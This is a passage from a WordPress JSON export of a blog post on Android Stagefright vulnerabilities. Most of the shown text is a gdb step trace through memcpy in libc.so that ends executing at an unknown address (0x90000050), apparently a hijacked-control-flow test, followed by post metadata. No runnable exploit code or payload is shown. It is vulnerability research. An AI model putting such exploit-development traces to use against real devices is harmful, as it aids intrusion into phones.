keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number644 index643 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number645 index644 alt2\"><code class=\"python value\">0xb6f06038<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number646 index645 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number647 index646 alt2\"><code class=\"python value\">0xb6f0603c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number648 index647 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number649 index648 alt2\"><code class=\"python value\">0xb6f06040<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number650 index649 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number651 index650 alt2\"><code class=\"python value\">0xb6f06044<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number652 index651 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number653 index652 alt2\"><code class=\"python value\">0xb6f06048<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number654 index653 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number655 index654 alt2\"><code class=\"python value\">0xb6f06030<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number656 index655 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number657 index656 alt2\"><code class=\"python value\">0xb6f06034<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number658 index657 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number659 index658 alt2\"><code class=\"python value\">0xb6f06038<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number660 index659 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number661 index660 alt2\"><code class=\"python value\">0xb6f0603c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number662 index661 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number663 index662 alt2\"><code class=\"python value\">0xb6f06040<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number664 index663 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number665 index664 alt2\"><code class=\"python value\">0xb6f06044<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number666 index665 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number667 index666 alt2\"><code class=\"python value\">0xb6f06048<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number668 index667 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number669 index668 alt2\"><code class=\"python value\">0xb6f0604c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number670 index669 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number671 index670 alt2\"><code class=\"python value\">0xb6f06050<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number672 index671 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number673 index672 alt2\"><code class=\"python value\">0xb6f06060<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number674 index673 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number675 index674 alt2\"><code class=\"python value\">0xb6f06064<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number676 index675 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number677 index676 alt2\"><code class=\"python value\">0xb6f06068<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number678 index677 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number679 index678 alt2\"><code class=\"python value\">0xb6f0606c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number680 index679 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number681 index680 alt2\"><code class=\"python value\">0xb6f06070<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number682 index681 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number683 index682 alt2\"><code class=\"python value\">0xb6f06074<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number684 index683 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number685 index684 alt2\"><code class=\"python value\">0xb6f06078<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number686 index685 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number687 index686 alt2\"><code class=\"python value\">0xb6f06084<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number688 index687 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number689 index688 alt2\"><code class=\"python value\">0xb6f06090<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number690 index689 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number691 index690 alt2\"><code class=\"python value\">0xb6f06094<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number692 index691 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number693 index692 alt2\"><code class=\"python value\">0xb6f06098<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number694 index693 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number695 index694 alt2\"><code class=\"python value\">0xb6f0609c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number696 index695 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number697 index696 alt2\"><code class=\"python value\">0xb6f060a0<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number698 index697 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number699 index698 alt2\"><code class=\"python value\">0xb6f060a4<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number700 index699 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number701 index700 alt2\"><code class=\"python value\">0xb6f060a8<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number702 index701 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number703 index702 alt2\"><code class=\"python value\">0xb6f060ac<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number704 index703 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number705 index704 alt2\"><code class=\"python value\">0xb6f03672<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__futex_wake_ex.constprop.<\/code><code class=\"python value\">0<\/code> <code class=\"python plain\">() <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number706 index705 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number707 index706 alt2\"><code class=\"python value\">0x90000050<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number708 index707 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number709 index708 alt2\"><code class=\"python value\">0x90000054<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number710 index709 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number711 index710 alt2\"><code class=\"python value\">0x90000058<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number712 index711 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number713 index712 alt2\"><code class=\"python value\">0x9000005a<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number714 index713 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number715 index714 alt2\"><code class=\"python value\">0x9000005c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number716 index715 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number717 index716 alt2\"><code class=\"python value\">0x9000005e<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number718 index717 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number719 index718 alt2\"><code class=\"python value\">0x90000060<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number720 index719 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number721 index720 alt2\"><code class=\"python value\">0x90000062<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number722 index721 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number723 index722 alt2\"><code class=\"python value\">0x90000064<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number724 index723 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number725 index724 alt2\"><code class=\"python value\">0x90000066<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number726 index725 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number727 index726 alt2\"><code class=\"python value\">0x90000068<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number728 index727 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number729 index728 alt2\"><code class=\"python value\">0x9000006a<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">?? ()<\/code><\/div>\n<div class=\"line number730 index729 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number731 index730 alt2\"><code class=\"python plain\">[LWP <\/code><code class=\"python value\">24145<\/code> <code class=\"python plain\">exited]<\/code><\/div>\n<div class=\"line number732 index731 alt1\"><\/div>\n","protected":false},"excerpt":{"rendered":"<p>There\u2019s been a lot of attention recently around a number of vulnerabilities in Android\u2019s libstagefright. There\u2019s been a lot of confusion about the remote exploitability of the issues, especially on&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[108],"tags":[2894,2895],"class_list":["post-28285","post","type-post","status-publish","format-standard","hentry","category-android-2","tag-cyanogenmod","tag-stagefright"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-7md","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/28285","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=28285"}],"version-history":[{"count":1,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/28285\/revisions"}],"predecessor-version":[{"id":28286,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/28285\/revisions\/28286"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=28285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=28285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=28285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}